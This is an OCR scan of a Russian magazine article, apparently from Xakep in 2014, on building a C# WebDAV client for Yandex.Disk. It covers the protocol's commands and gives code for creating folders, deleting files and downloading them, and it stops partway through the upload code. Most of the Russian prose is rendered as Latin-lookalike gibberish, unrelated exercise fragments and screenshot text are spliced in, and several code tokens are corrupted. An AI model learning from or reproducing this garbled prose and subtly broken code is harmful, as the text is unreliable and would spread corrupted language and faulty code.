cymTaeTcsa OuneT, y KOTOPOro cymma nepBbiX Tpex
umndp coBnagaeT ¢ CyMMOM Tpex NoCnegHnxX.

Co3patb  Kanbkynstop, ymelowmin  paboTaTtb
co ckobkamu. PeanusoBarb, MCMOb3ys BO3MOX-

HOCTM A3blka. MOXHO NPeAsIoX1Tb HECKONBbKO Ba-
PUaHTOB peanuaauum.

[MokasaTtb Ha NpumMmepe npumMmeHmmocTb 'Attributes
(RTTI)". NMpumep mMoxeT ObITb MOOON, rae MOXHO
YBUAETb NONE3HOCTb N 3PPEKTUBHOCTb MCMOJIb30-
BaHWA aTpubyTOoB.

Halit1 noacTpoky MakcumManbHOM OJnHbl B daiine,
KOTOpasi BCTpeyaeTCss MakCumasnbHOe KOIMYeCTBO
paa. B cnyyae Hannumnsi cpasdy HECKOJIbKMX BapuaH-
TOB OTBETOB BblAaThb BCE.

®daiin MoxeT ObITb 60sbLIe 2 [6. 3T
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PASBVPAEM YHNBEPCAbHbBIV CITOCOE PABOTH
C COAEPKNMMBIM B OBJTAHHBIX XPAHNTLLIAX

Ecnun Obl B KQ4eCTBE BBEOEHUS S Ha4Yas pacnmcbiBaTb JOCTOMHCTBA 061a4YHbIX Xpa-
HUANLL, AaHHbIX, Tbl Obl MOAYMan, YTO MEHS TOJIbKO 4YTO Pa3MOpPO3uNK rnocne aegaaLa-
TUNEeTHero aHabrosa U 4To A CepPbe3HO 3N10yNoTPEeOIAD CHOTBOPHBLIMY :). M03TO-
MY CKaxky KpaTko, No-nporpaMmmMmncTCKN: Koraa nepeno MHOM BcTana 3agada caenatb
nporpammy, kotopas Mmorna 6l 6e3 NpmBa3kn K APl KOHKPeTHOro cepsuca paboTtaTtb

v

0pwuii «yurembo» f3es,

He3aBUCMMbIi urpoaen
yazevsoft@gmail.com

¢ dannamMmm Ha MHOXECTBE XpaHuNuLL (pedb wna o 6akane), okasanoch, 4TO 3TO
He Tak NpocTo. O60 BCEX TOHKOCTSAX M NOABOAHbLIX KAMHSAX NpoaenaHHoN paboThl

A pewnn Tebe pacckasaTb B 9TON cTaTbe.

WEBDAV

WebDAV (Web Distributed Authoring and Versioning) — a1o npo-
TOKON AJis Nepefaym AaHHbIX 1 paboTbl C HUMUW, MOCTPOEHHBIV NO-
Bepx HTTP 1.1. 3oecb cnepyeT 3amMeTuTb, 4TO Nepenada Moxer
ObITb KaK 3aLUMLLEHHON, Tak N He3awumLLeHHo. B camom npoTo-
KOJNe 3aLLUMNLLEHHOCTb OTCYTCTBYET, HO OHA MOXET ObiTb 06aBneHa
Yyepes peanuaaumio ayTeHTudukaunm Ha Beb-cepeepe u Wndpo-
BaHWe nocpenctsoM SSL, cnenoBatenbHO, B TakoM ciyyae bynet
ncnonb3oBartbcs He HTTP, a HTTPS.

M3HauanbHo DAV paspabarbiBancs Onsi COBMECTHOrO CO3-
[aHVa U pepakTpoBaHusi BeG-CTpaHuL, HO B mnpouecce uc-
Nofb30BaHUS OH HalleN MPUMEHEHVE B Ka4yeCTBe CETEBOW pac-
npeneneHHon $annoBor cuctembl, 3aPpPeKTUBHOM AN paboTbl
B BbICOKOHArpy>eHHOW cpefe 1 noanepXuBaloLlein HeycTonym-
Boe coeanHeHune. Takum obpasom, DAV noaxoauT Ans ynpasne-
HUS danamu Ha Beb-cepBepax, UHbIMU CIOBaMu, peanusauumn
obnayHbIX XpaHunuiy, nHdopmaumu, rae u 6ein npumeHeH. C ero
NMOMOLLIbIO MOXHO BbINOJIHATL OCHOBHbIE Onepauuvu Hag darinamu,
cofepXallMMncs Ha cepsepe, MPOBOAUTL PaCLUMPEHHbIE onepa-
LMK, Kak To: 6/10KMPOBKA, NoJslydeHne MeTafaHHbIX, KOHTPOSb BEp-
CUii n gpyrve. ATOT NPOTOKOJI CTas 3aMeHol Ans cTaporo Ao6poro
FTP, 4be BpeMs NOAOLLUIO K KOHLLY.

WebDAV npepnocTtaBnseT ceMb KOMaHA,:

+ PROPFIND — nony4eHue cBoicTB 06bekTa Ha cepeepe B hbop-
mate XML;
+  PROPPATCH — n3meHeHune cBONCTB 06bekTa;
+  MKCOL — cospgartb nanky Ha cepBepe;
+  COPY — konupoBaH1e Ha CTOPOHE CepBepa;
+  MOVE — nepemelLeHve Ha CTOPOHE cepBepa;
+ LOCK — 3a6nokunpoBatb 0ObeKT;

UNLOCK — cHsITb 610KMPOBKY C 0ObekTa.

Takum obpasom, WebDAV no3BonsieT M3MEHsATb CBOWCTBA
XPaHSILLMXCS HA CepBepe OOLEKTOB, BbIMOHATL NMOUCK C Y4ETOM
CBOWCTB, 6NOKMPOBaTb 0OBLEKT (B HaLLeM cnydae — davin) ans op-
raHn3aumm BO3MOXHOCTU ero penaktMpoBaHus TOJIbKO OAHUM
nonb30BaTesieEM B pacrnpeneneHHon cpene, B KOTOPOW AOCTyn
MOryT UMETb MHOFO I03€POB, YNpasnaTb Bepcusamn $annos (no-
CPeACTBOM yHacnenoBaHHbIX KomaHpg, check -in, -out), a Takxe
NMPOV3BOANTL PACLUMPEHHBIN KOHTPOJIb AOCTYMNa K dainam Ha oc-
HOBE CMMCKOB.

Kpome TOoro, WebDAV nopaepxuBaeT yHacnenoBaHHbIE
koMaHabl: GET — pgnsa ckaumBanusa danna, PUT — aons 3anuekn
Ha cepBep u DELETE — pna ynanexnus obbekTta. Mbl He 6yaem
paccmaTtpvBaTb BCE KOMaHAbl; B MOEM Clyyae As peannsaumum
dyHKLMOHAnNa yTuamMTbl MHE NOHAA00UIOCH NULLL YETbIPE.

HbiHe B paspaboTtke npoTtokona ydactsyoT Microsoft, Mozilla,
Novell, IBM wn gpyruve. ToaToMy He CTOUT YAMBASATLCA TOMY,
410 nopaepxka WebDAV npucyTcTByeT BO MHOMMX MpoAaykTax
Microsoft (B Tom uucne Internet Explorer, npoBogHuke, Be6-
cepsepe |IS n ppyrux), 6paysepe Mozilla Firefox, npoayktax ¢pup-
mMbl Novell, IBM. 1ononHWUTENBHO, C MOMOLLBIO YCTAHOBKM nniaru-
HOB «MOAPYXUTb» C MPOTOKOSIOM MOXHO Total Commander n FAR.

Kak yxe 66110 ynomsiHyTo, B Windows yaaneHHoe xpaHunuiie
WebDAV MOXHO NOAKNOYNTL B MPOBOAHUK KaK AOMONHUTENbHbIN
aunck. Moao6HbIM 06pa3oM MOXHO nocTynutb B OS X, opraHvso-

BaB nogktoveHve k WebDAV-cepsepy Kak AOMNOSHUTENIbHYIO On-
pekTopuio B o603peBatene Finder.

BO3MOXHbIE PELLEHUS

[Mepeno MHoM cTosna 3agadva NoAKIOYNTLCS M OpraHM30BaTh pa-
60Ty C AaHHBIMU Ha ABYX (PalinoBbIx xpaHunuwax: Anaekc.Auck
1 Dropbox. O6a aTu cepsuca noaaepxmeatoT paboTy no NpoToko-
ny WebDAV. Peructpupys nouty Ha AHOEKCE, Tbl aBTOMATOM MOny-
Yaelb goctyn K 10 M6 061a4HOro XpaHuamLLA, K KOTOPOMY MOXHO
NOAKIIOYNTLCA HE TOJIbKO 4Yepes CTaH,D,apTHbIVI KJINEHT, HO 1 C No-
MOLLIbIO CTOPOHHEN Tyn3bl (HanpuMep, CBOEN NMporpammbl) no-
cpepctsoM npotokona WebDAV. MNpu peructpaummn Ha Dropbox
Tbl NonyyaeLb 5 [6 AMCKOBOro NPOCTPaHCTBa, KOTOPOE MOXHO UC-
Nnonb30BaTh Yepe3 CTaHAAPTHBbIV KMeHT. OgHaKo, 4ToObl NoNYYnTb
poctyn K xpanunuwy no WebDAV, Hago nponTn AOMNOAHUTENBHYIO
pervctpaumio. B utore, kak BbISCHWMIOCH, 3TOT AOCTYn He 6ec-
nnaTtHbIA, TEM HE MEHee MOoC/e PeErncTpauun faetcs CBOOOAHbIN
[OCTyN Ha ABe Hepenu. Pasmepbl XpaHUAWLL, MOXHO YBENNYMBATb:
WA Yyepes Jonnarty, UM ¢ NOMOLLIO YHaCcTUs B Pa3HbIX akLmsX,
NPOBOAUMBIX CEPBMCAMU, HAaNpUMepP HaxoauTb 6arv 1 coobatb
0 HUX pa3paboTynkam.

Koroa MHe noHapobunock HanucaTb nporpaMmmy ans pado-
Tbl N0 WebDAV-npoTtokony, s nepebiM genom 3arnsaHyn B Win32
API, 4TOObI MOCMOTPETb, €CTb NN TaM YHKUMM ONa 9TOro, no-
nobHo umetowmmes ans pabotel ¢ FTP. 3aberas Bnepen, otme-
4y, YTO CPOKW Yy MEHSI CTOSiIM CXaTble, MO3TOMY UCMOJb30BaThb
byHkumn ypoBHa APl a He cobupanca. Kak n cnegoBano oXu-
natb, B Win32 API, HaunHas ¢ Bepcum ans Windows Vista, Bxoont
WebDAV API (g00.9l/F9KOjy). B HEro BXoamT OAHO NepeymcneHmne,
TPU CTPYKTYPbI 1 HAGoPp GyHKUMA. A nogymMan, 4To 3TO XOPOoLUUiA
3HaK, NMOCKOJIbKY Ha OCHOBE cTaHaapTHoro APl HenpemMeHHo nme-
loTCs 60siee BbICOKOYPOBHEBbIE PELLEHMS 1 MHE He NpuaeTcs 3a-
cuxmBaTtbes ¢ pyHKumamn APl-nHtepderica.

TyT nopa, pyky nonanack Delphi XE3, n 1 pelunn nposepuTb, Ka-
KNe NHCTPYMEHTbI Ans paboTel ¢ npoTtokonom WebDAV ecTb y Hee.
Okasanocsb, 4To B Hel (Ha Bknagke Indy Clients nanutpbl kKOMMno-
HEHTOB) eCTb KOMNoHeHT I[dWebDav. A yxxe nogyman, 4To Ha 3TOM
nccnenoBaHns 3aKOHYUANCh... Ho 0BHapyXmnock, 4To 3TOT KOM-
MOHEHT HW B KaKylo He KOHHEKTUTCA K AHaekcy (AHaekc.Auck Obin
0N MeHst 6onee NPUOPUTETHBIM CEPBMCOM, NMO3STOMY BCE TECThI
S B NepBylo o4epeab NPOBOAMI HA HEM).

3atemM 9 pewunn BOCMNOJSIb30BATbCS CTapOW, HO MNPOBEPEH-
HOW BpeMeHem ceTeBol 6Gubnuotekon Synapse pns Delphi.
K ToMy Xe B PyHeTe eCTb npekpacHbIii caiT, coaep>Xalnin He-

9 pewuuns BOCNOJIb30BaTbCA CTapou Ao-
Opoin bubnuotekom Synapse gns

Delphi. 310 peweHue npoBepeHo Bpe-

MEeéHeM N XOpoLluo AOKYMEeHTUpoBaHO
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PaspabartbiBae-
Mas nporpamMmma

CKOJIbKO CTaTei, MOCBSLLEHHbIX 31Ol Nnnbe, — www.webdelphi.
ru. Ha nepBbix nopax paboTa ABuranacb XOPOLLO, U MHE yaanocb
peann3oBaTb HECKONbKO (YHKUMIA NPOTOKONA: CO34aHue nankw,
ckayvBaHue aiinos, nonyyeHve cBONCTB o6bekToB. Ho camyio
rnaBHyl0 GYHKUMIO — 3arpy3Ky $ainoB Ha cepBep C N0KaIbHOrO
KOMMa — peann3oBaTb Tak U He yaanocb. CTano rpycTHO: B MHTEP-
HeTe 06 9TOM NPOTOKOJE TONKOBOW MHdOopMaummn HeT. Bing Hawen
HECKOJIbKO NMNaTHbIX HAGOPOB KOMMOHEHTOB 415 PaboThl C CETbIO,
OAHOI 13 KOTOPbIX 1 PaAN MHTEpeca peLunsl BOCMOIb30BaThCs,
4YTOObI BbISICHUTbL, peanbHO N 3arpy3nTb dain Ha AHaekc.Juck.
O1om nnboin okasanace Clever Internet Suite. Co3gaB KOMMNOHEHT
knacca clWebDav, ogHOM CTPOYKON KOAa yAanoCk 3akKUHYTb dann
Ha cepsep:

clWebDav.Put('https://webdav.yandex.ru/1.jpg"', «
stream);

roe stream — dannoBbil NOTOK, NPeaBapuUTeNbHO CO34AHHbIN
AONA YTEeHUA.

[MpekpacHo, HO OTTasNKMBaeT CTOMMOCTb 3Tol nNnbbl: Gonee
500 vy. e., 4TO He ecTb rya. Ecnu Tbl 3axo4yellb BOCMNONb30BATLCS
3TMM cnocoboM, To obpaTn BHUMaHWE Ha Bepcuio Gubnnorteku:
K AHAEKCY MOXHO NOAK/IOYNTLCS TONBKO C MOMOLLbI0 Bepcun 7.0
1 BbllLE, €CIM BOCMONb30BaTbCS PACNPOCTPAHEHHON Ha MPOCTO-
pax CeTn Bepcueli 6.0, To 3arpy3ka AaHHbIX Ha cepBep He yaacT-
csi. Ha aTom «urparbesi» ¢ Delphi MHe Hapoeno, u s pewunn obpa-
TuTbCs K dotNET 1 C#.

NOAKNTIOYAEMCS KYANDEX.DISK + COSAAEM
KOJNNEKUMUIO

Mockonbky WebDAV pa6oTtaeT nosepx HTTP/S, s peLunn Bocnosb-
3oBaTbCs knaccamu HttpWebRequest n HttpWebResponse, koTo-
pble BxoaaT B .NET Framework HaunHas ¢ Bepcum 2.0. Mpun atom
Mbl 6yaem ncnonb3osatb .NET Framework 4.0 — noyemy, ckaxy
HuXKe. KOpoTKO roBops, NepBbii M3 MNEPEYUCIEHHbIX KNacCcoB
npepctasnset HTTP-3anpoc, sBTopoit — HTTP-oTBeT. Hawa 3apa-
4ya — MpaBuIbHO CHOPMMUPOBATL 3aMPOC TakMM 06Pa3oM, 4TOObI

3a ocHoBY ny4wie B39Tb .NET
Framework 4.0. U xota noanepxka
WebDAV nosiBunacshb eLle BO BTOpoOu
Bepcuun, No Tecrtam cTasno BUOHO,
4YTO Ta XXe camas nporpamMmma, nepe-
KOMMUJINPOBaHHAasA C UCMNMOJIb30OBaAHU-

em .NET 4, paboTtaeT B ABa pa3a ObicTpee
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ero mor noHsTb WebDAV-cepBep. YToObl y3HaTb, Kak NpaBUibHO
opopmnsATb 3anpockl WebDAV-cepBepy, 06paTtnmcs K LOKYMEH-
Taumn AHgekca no ncnosib3osaHuio npotokona WebDAV (goo.gl/
fP1FYK).

Cnenyowum geiicTBMEM Hanuwiem HebOoMbLUYO Nporpammy,
CﬂOCOﬁHyIO BbIMOJIHNTbL YETbIPE Onepaunn: co3aaTb nanky Ha yaa-
JIEHHOM XOCTe, 3arpy3nTb 0ObEKT, cka4yaTb 06BLEKT 1 yaauTb 00b-
eKT. OTUX onepaumii OCTAaTOYHO A4St GOMbLUMHCTBA NPUNOXEHWIA,
pewarnwnx npon3eBoaCcTBeHHbIE 3aa4u. ﬂﬂﬂ MPOCTOTbl CO342401MM
WinForms-npunoxeHue. B nape cnoB pacckaxy O CBOE€N npore.
OHa npeacTaBnsieT coboli KOHCONbHOE MPUNIOXEHWE, 3anyckae-
Moe 6aTHMKOM Mo pacnucaHunio. Ee ocHoBHOe aecTBme — 3T0 3a-
nmeka $annoB Ha yaaneHHbIN XOCT, NP1 3TOM B ee 3a4a4n BXOAUT
KoppekTHasi o6paboTka Macku ansa Beibopa dainos, a Takxke 06-
paboTka nyTeit, N0 KOTOPbIM OHU Pa3MeELLEHbI, MOC NPaBUIbHOE
co3gaHve B obnake nmepapxum narnok, Nnogo6GHON pasMeLLeHHO
Ha nokanbHOM aucke. Kpome Toro, nockosibky nporpamma pabo-
TaeT B aBTOMATM4eCKOM pexuMe, oHa co3paet ¢aiin ¢ noramu.
B Haweli cerogHswHe nporpaMmMme Mbl ONyCTUM 9TU OeNCTBUSA
(04EBUOHO, HTO OHWN HE OTHOCATCH K TEME) N CKOHLLEHTPUPYEMCS
Ha npoTtokone WebDAV.

O6paTtn BHUMaHWeE: Npy Co34aHMM 3aroTOBKM NPOeKTa 3a 0c-
HoBy nydwe B3aTb .NET Framework 4.0. N xota nopnpepxka
WebDAV nosiBunach eule BO BTOPOM Bepcuu, No Tectam cTtano
BUOHO, 4YTO Ta Xe camasa nporpamma, nepekoMnuinpoBaHHas
¢ ucnonb3osarvem .NET 4, paboTaeT B ABa pasa ObiCTpee, 1 310
KacaeTcst CKopocTy paboTbl ¢ pannaMmm 1 Ux NepechinKomn.

Mocne co3paHns 3aroToBKW MPUIOXEHUS Pa3MecTn Ha ero
dopme YeTbipe KHOMKWU. [epBoii onepaumei, KOTOpy Mbl pe-
anuadyem, 6yaeT co3gaHue nanku (unm konnekumm). OHa camas
npocTtas n3 Bcex. Ha saameTky: xota Avpekc.Auck paboTtaeT no 3a-
wmeHHomy npotokony HTTPS, nanky MoxHo co3gatb no HTTP.
Takxe Ha popme HaM NOHa[OBATCS HeTbIpe Nons BBOAA: A1 3a-
[aHns agpeca yaaneHHoro xocra (noka Hauenumcs Ha fAHaekc.
Juck: https://webdav.yandex.ru/), ons BBoga UMeEHM MONb30Ba-
Tens, napons (Ana ayteHTudukaumm Ha Axpekce) n BBoga nme-
HW Nanku, KOTOPYIO Mbl XOTUM co3AaTk B obnake (puc. 1). O6patu
BHMMaHue: aapec cepsBepa Hago BBOAWTL BMECTE C yKas3aHWem
npoTokona, B 4aHHOM crnyyae https://.

I'Iepanvl AenomMm B Koge noaksitodn npocTpaHCTBa WMEH:
using System.Net; — ona pa6oTsl ¢ ceTbio 1 using System.lO; —
ona $annoBoro BBoAa-BbIBOAA. 3aTteM co3pain 06paboTink co-
ObITUSA HaxaTns Ha KHornKy CreateDir. B Hero Hanuwum Takon kon,;:

String folder = folderEdit.Text;

String url = urlEdit.Text;

String userName = nameEdit.Text;

String password = passwordEdit.Text;

url += folder;

url = url.TrimEnd();

HttpWebRequest request = HttpWebRequest.«
Create(url) as HttpWebRequest;
request.Credentials = «

new NetworkCredential(userName, password);
request.Method = WebRequestMethods.Http.MkCol;
HttpWebResponse response = «
(HttpWebResponse)request.GetResponse();
HttpStatusCode code = response.StatusCode;

Bkpatue obcyaum kon. B Havane pns yno6ctBa pasme-
LwiaemM [aHHble M3 rnone’ BBOAA B NEpPeMeHHble: UMS nanku,
agpec xocTta, MMs 1 naposnb to3epa. Hanee popmupyem URL-
appec: K agpecy xocTa npubasnisieM MMs CO34aBaeMoi nanku.
Kak ny HTTP, y WebDAV ecTb CTaHOapTHbIA HOMep nopTa — 443,
NnoaToMy ero ykasblBaTb Heo0s3aTeNibHo. Tenepb Ha OCHOBE
URL Mbl MOxeM cosgatb 06bekT HTTP-3anpoca, 4to genaercs
B cnepytoller ctpoke. Nocne co3pgaHva Hado 3anonHUTb He-
KOTOpble ero cBoWcTea. To ecTb HeobxoAUMO yKkasaTb Takue
[aHHble, KOoTopble ByayT nepenaHbl CEPBEPY B 3aronoBke 3a-
npoca. CMOTpUM AOKYMEHTaumio AHaekca (cceblika npueeseHa
Bbile). B 4ncno Heobxoanmbix NapaMeTpoB BXOAAT AaHHbIe ay-
TeHTI/Id)I/IKaLlIAI/I. <r-|H,EleKC NPpUHMUMAET 3TN OaHHble B OBYX BMaax:
Basic — noruH 1 naponb, QAuth — TOKeH no npoTtokony QAuth.
Mbl BbiGepeM nepBblii NyTb. OfHAaKo B TakOM Cliyvyae AaHHble
OOMXKHbI ObITb 3aKOAMPOBaHbI. ITO OCYLLECTBNSET 06bEKT Knac-
ca NetworkCredential, KOHCTPYKTOp KOTOPOro nojiy4aeT ums



XAKEP 09 /188/ 2014 lNosenesavi obnakamu!

1 naponb B BUAe cTpok. Co3gaHHbIi 0OLEKT 3TOro knacca npu-
cBauBaeTcs cBoncTBy Credentials ob6bekta 3anpoca. Cnenyio-
LLleit CTPOKOW Mbl coOObLLAaeM, KaKylo KOMaHAy Mbl XOTUM BbINOJI-
HUTb, — MKCOL. B aTOM cnyyae HuKakme JaHHble nepenasatb/
nosyyatb He TpebyeTcs, 1 cpasdy nocsie 3TOro Mol OTNPABASEM
3anpoc. [lanee Mbl MOXeM MOCMOTPEeTb, Kakoi OTBET Bep-
Hyn cepBep, B ciydae ycriexa oTBeToM 6yaet ctpoka Created.
B knacce HttpWebRequest onpeneneHo MHOro oTBeTOB Ha BCe
clly4an COBMECTHOrO 0bLLEHMS KTIMEeHTa 1 cepBepa.

WebDAV-npoTokoJ1 HE NO3BONISET CO34aTb HECKOJIbKO BIIOXEH-
HbIX nanok 3a oguH 3anpoc (/folder1/folder2/); MoxHo co3gatb
TONbKO opaHy: /folder1/. Ecnu katanor cyuwiectsyer, a OoTnpas-
JIEHHBI 3aNpoC NblTaeTCsl CO3AaTb OAHOMMEHHYIO ANPEKTOPUIO,
B TAKOM CJly4ae CepBep CreHeprpyeT UCKIo4YeHMe, KOTOpoe Hafoo
nepexsaTuTb KOHCTPykuuen try/catch. B npvBeneHHOM Bbilie
npumMepe ynyuweHa ob6paboTka UCKIOYEHW, NO3TOMY, ecnn By-
[ellb NCMOoMb30BaTh ero, He 3abyab 106aBWTb. Ecnn Heobxoanmo
y3HaTb, CYLLECTBYET KaTasor Uau HeT, TO ONst 3TOro MOXHO BOC-
nonb3oBatbes 3anpocom PROPFIND, a noToM nony4nuTb 1 npo-
napcuTb OTBET cepBepa, copepxawmin nHdy B dpopmare XML
0 UMeloLLMXCS Ha cepBepe obbekTax. Ho aTo nonyyuTcs Aonro,
1, Ha MOW B3rnag, ny4dwe ncnonb3osarb 3anpoc MKCOL u B cny-
Yyae NpUCYTCTBUS OOHOMMEHHOM nanku o6paboTaTb NCKIOYEHME.
Taknum 06pa3om B CBOEW KOHCOJIbHOW yTUAWUTE f CO34at0 nepap-
xuio nanok. Kpome Toro, ecnv 0AHOMMEHHBI KaTanor yXe cylle-
CTBYET, MPOVICXOONT 3aXO0f, B HETO.

YOANEHUE OBBEKTA

Ynanenune dainna n/vnu gupektopum no npotokony WebDAV pea-
NIN3YeTCs Tak e NPOCTo, Kak co3aaHune konanekummn. ina peanusa-
LMW 3TON 3a4a4n NOCNYXUT NPUBEAEHHBIN BbilLE KOA, B KOTOPOM
HaAo0 3aMeHUTb CTPOYKY, 3a4alOLLyl0 BbIMOJIHSEMbIA CEPBEPOM
MeTOoZ, Ha CNeayoLLyio:

request.Method = "DELETE";

Kak BuaHo, B knacce WebRequestMethods.Http otcyTtcteyeT
meTon Delete, HO Mbl MOXeM 3aaaTb Xenaemblii MeTon, B BUAE
cTpoku. OHa OyneTr OTnpaBneHa Ha CepBep, MMaBHOE, YTOObI
OH Obin B cOCTOsSHUM 06paboTaTtb U BbINOAHUTL 3TOT METOA,
a WebDAV-cepBep, Kak Mbl 3HaeM, Ha 3TO CMOCOBEH.

B aTOoM cnydae Takxke ny4diie Mcnosib3oBaTb KOHCTPYKUMIO try/
catch ons nepexeata MCKIIOYEHUS, KOTOPOE MOXET BO3HUKHYTb
no NpUYnHEe OTCYTCTBUS YAANSEMOro 06bekTa.

CKAYUBAHME GAINA

Y7106bI CkayaTb daiin M3 06savyHOro XpaHuauwa no npoToKO-
ny WebDAV, HyxXHO npofenaTb He TaK YXX MHOIO MaHUnynsuui
C umetlowmmcsa kogoM. Ho ana Havana 3akuHb Kakom-HUOyAb
daiin B 06nako cTaHoapTHbIMW cpeacTBamu (4epe3 Be6-
MHTEPDENC WM OECKTOMHbLIN AHAEKC-KNMeHT). o 3ambichy,
npu cka4nBaHuUn darna B HeTBepToe (HUXHee) nosie BBOAA Mbl
6ynem BBOAUTbL UMs daiina, KOTOpbIA XOTUM 3akadyaTb. ITO Xe
MMS MpucBouM dainy-pesynbTaty Ha JlokasbHOM komne. 3a-
MeTb, Ha cepBepe Mbl MOXeM ykasaTb /Software/file.txt n 6ynet
nosnyyeH focTyn kK ¢gainy B nanke Software, ogHako B JIOKanbHON
daiinoBoii cucteme aBTOMaToM Mnanka cosgaHa He 6ygert, no-
3TOMY ee NpeaBapuTeNibHO HAaZo co3aaTb. KOpoTko roBopsi, Mbl
6ynem kavatb dain ZuneSetupPkg.exe (HesameHumas Tynsa
nns pabotel ¢ Windows Phone, KOTOpyto 4aCTeHbKO NPUXOANTCS
[0YyCTaHaBAMBATb Ha YyXWMX KOMMax, N03TOMy OHa BCEraa y MeHs
nof, pykon — B obnake) n3 kopHs Angekc.ucka B AMpekTopuio
C 9K33LLHMKOM.

B o6paboTunke HaxaTtusa Ha kHonky Download nocne uHuum-
anus3aummn nepemMeHHblx, co3paHns obbekTa-3anpoca u 3apaHns
nonHomounin (Credentials) 3apaii Tun metopa: GET (CM. nCxoaHuk
B MaTepuanax k Homepy). 3atem, nosy4vs OTBET cepBepa (06bEKT
knacca HttpWebResponse), 06bsiBUM nepemeHHble ANs YTeHus
[AHHbIX:

int byteTransferRate = 8192; // Pa3smep bydepa
byte[] bytes = new byte[byteTransferRate]; // Bydep
int bytesRead = 0;

long totalBytesRead = 0;

long contentLength = long.Parse(response.«
GetResponseHeader("Content-Length"));

7y

htps://webdav yan

ZineSeupro e

PUT /fa/otpusk.avi HTTP/1.1

Host: webdav.yandex.ru

Accept: */%

Authorization: QAuth Bc418la7c2cf4521964a72ff57a34a@7

Etag: 1bc29b36f623baB2aaf6724fd3b16718

Sha256: T8ABH6B487D7889569CASABCBEOS2E4F8D5651E46D3CDB762002D@BF37C9ES92
Expect: 188-continue

Content-Type: application/binary

Content-Length: 183134024

B nocnegHen cTpouyke Kopa 4vTaeM U3 3arofioBka OTBeTa daiin ckauan
OT cepBepa pasmep daina 1 COXpPaHsSeM ero B NepemMeHHYIo. 6e3 0CNoXHEeHU
Janble co3paem ¢pannosbii NOTOK A5 3anucuy dainna Ha AnCK:

3anpocHa3a-
FileStream fs = new FileStream(fileToDownload, « Kauky aiinaus foKy-
FileMode.Create, FileAccess.Write); MeHTauumn AHaekca

3atem nosy4aem NoTok OT cepeepa:

Stream s = response.GetResponseStream();

I'Iopu,vaM 4YnTaeM "3 Hero daHHble N nNuiemM nx B ¢a|7|n, noka
€CTb 4TO NncaThb:

do {
bytesRead = s.Read(bytes, 0, bytes.Length);
if (bytesRead > 0) {
totalBytesRead += bytesRead;
fs.Write(bytes, @0, bytesRead);

}
} while (bytesRead > 9);

Mocne TOro kak BCe AaHHble 3anucaHbl B daiis, 3akpbiBaem
06a NoToKa N CepBepPHbIl OTBET. BO BpeMs CHUTBLIBAHMS AaHHbIX
Mbl yBenu4mBanu nepemeHHyto totalBytesRead Ha konnuecTtBo
CcuMTaHHbIX 6anToB. B 3TOM crydae npu oTcyTCTBMM OWIMOOK pas-
Mep 3TOl NepeMEeHHOM AOMKEH CTaTb PaBHbIM pa3mepy, KOTOPbI
Mbl CYMTaNM M3 3arosioBKa, 1 eCnn aTo Tak, To dain ckayaH Kop-
PEKTHO U Mbl BbIBOAUM COOOLIEHME 06 3TOM (puUc. 2), ecnmn xe
pa3Mepbl He PaBHbl, TOraa NpousoLuna Heyaada, 06 3TOM Mbl TOXe
coobLLaeM nosbL3oBaTesto.

OTOT KOA, HE NIVILLIEH UCKITIOYEHWIA, KOTOPbIE HAAO JIOBUTb, Cpe-
Oy Hux: (404) HeBO3MOXHO HanTu daiin (Ha cepBepe), HEBO3MOX-
HO 3anuncaTb B yKka3aHHOe MEeCTO 1 MHOrne apyrue.

SArPY3KA ®ANNIAHA CEPBEP

MocnepHss onepauus, 6e3 KOTOpol Hawa ytunuta OyneT He-
NoJsIHOM, — 3TO 3arpy3ka dalina Ha yaaneHHblin XocT. 9To camas
«xuTpas» onepaumsi. O6CyXAeHHbIE BbILLE Onepauuy He Bbi3Banun
HW ManewnLero 3aTpyaHeHusl, HO 3Ta okasanack nokpy4ye! 9 yxe
pacckasbiBan, 4TO C peanun3aumvein sarpysku daiina 6binm Tpya-
HOCTW NPV UCNONb30BAHUN APYIrUX CPEACTB pa3paboTku. U He Bce



78

w173 Ho x | = fmaexc, x \ (0 3arpys x ([ Miucomo x {7 BitCalcw x | 43 Aovawr x ' @ DropDA' x ! (@& Outiook x C#Dow: x ([ NETFre x ( &y Moii e x | [ fawmmie x

€« C @ httpsy/diskyandex.ru/c

IHnekc | A Haimn [H—

Mowra Qaiinbi  (otokamepa BoTous couceted OBuenanki  Ccbinka  Kopawa

2 3arpyars || 48| | Mun v

CaoBoano 8,99 16 wa 10 T6. flobasims

JarpyanTs chaiinsl A Cravars fwex g Windows

Mleperauyure cioga inu sbibpars
MlpunoxeHis AnA cex nathopw >

Yro 8 Tenedone,
&, 70 1 Ha KomnsioTepe
= Bicniounre asrosarpyaxy oro s flnck

books i Software ZuneSetupPkg Kopauwa

oy

Ll o

Momous  Bn0r O0paTHaA ceAze  Papalomiikam  YEmOBN HENONb30EaHHA Srgekcs mmR

Siupekc.Auck rnaako 6bino Ha C#. BHavane B OKYMEHTaLMM MOCMOTPUM, KaKon
3anpoc ans 3anmekun ¢paiina xaet dnaekc (puc. 3).

B nonHOUEHHOW nporpaMme Hafao OCYLLECTBAATH 3akayky
cpasy Heckonbkunx dainos (Mo xenaHuio 3epa), Bbibop daiinos
no Macke, Co3gaHne nepapxum Katanoros 1, HakoHeL,, 06paboTky
ownbok. Mbl e, 4ToObI He TONI04b BOAY B CTyMne, BCe 3TO ONyCTUM
M CKOHUEHTPUPYEMCH Ha 3arpy3ke OAHOro 3aaaHHoro daiina,
6e3 co3gaHus nanok n o6paboTkm owmnbok. Bece aTo octaBum Tebe
B KayecTBe AOMalLHero 3agaHus. Mtak, B NoaroToBNEHHON MHOMN
npore n3 o6paboTymka HaxaTusi Ha KHOMKY BbI3bIBAETCS METOZ,
UpdateFile, emy nepepatotca nms xocta U UMS 3arpyxaemoro
darina, KoTopble 6epyTCs M3 COOTBETCTBYIOLUMX MOnel BBoAA.
Hauano camoro meTofa nogoGHO PacCMOTPEHHBIM BbillE, OAHA-
KO Temepb B 3arosioBKe 3anpoca Mbl NepefaemM Ha BbIMOJIHEHNE
cepBepoM komaHay PUT, To ecTb Bblka3biBaeM Halle XenaHve 3a-
rpy3uTb daiin. Ecnm npu BbINOAHEHUN NPEAbIAYLLNX 3aMPOCOB Mbl
0C060 He ONMPaNUCb Ha AOKYMEHTaUMIO, TO Ha 3TOT pa3 OHa Ham
OYeHb MPUroANTCS: BKIIIOYMM B 3arosioBOK 3anpoca BCE PEKOMEH-
ayemble AHAEKCOM MONsi, a TakKe HEKOTOPbIe AOMOSIHUTESbHbIE.
MTak, paccCMOTPUM KO, 3arosioBka, a noTom o6cyanm Tpabibi:

request.ContentlLength = fileLength;
request.KeepAlive = false;
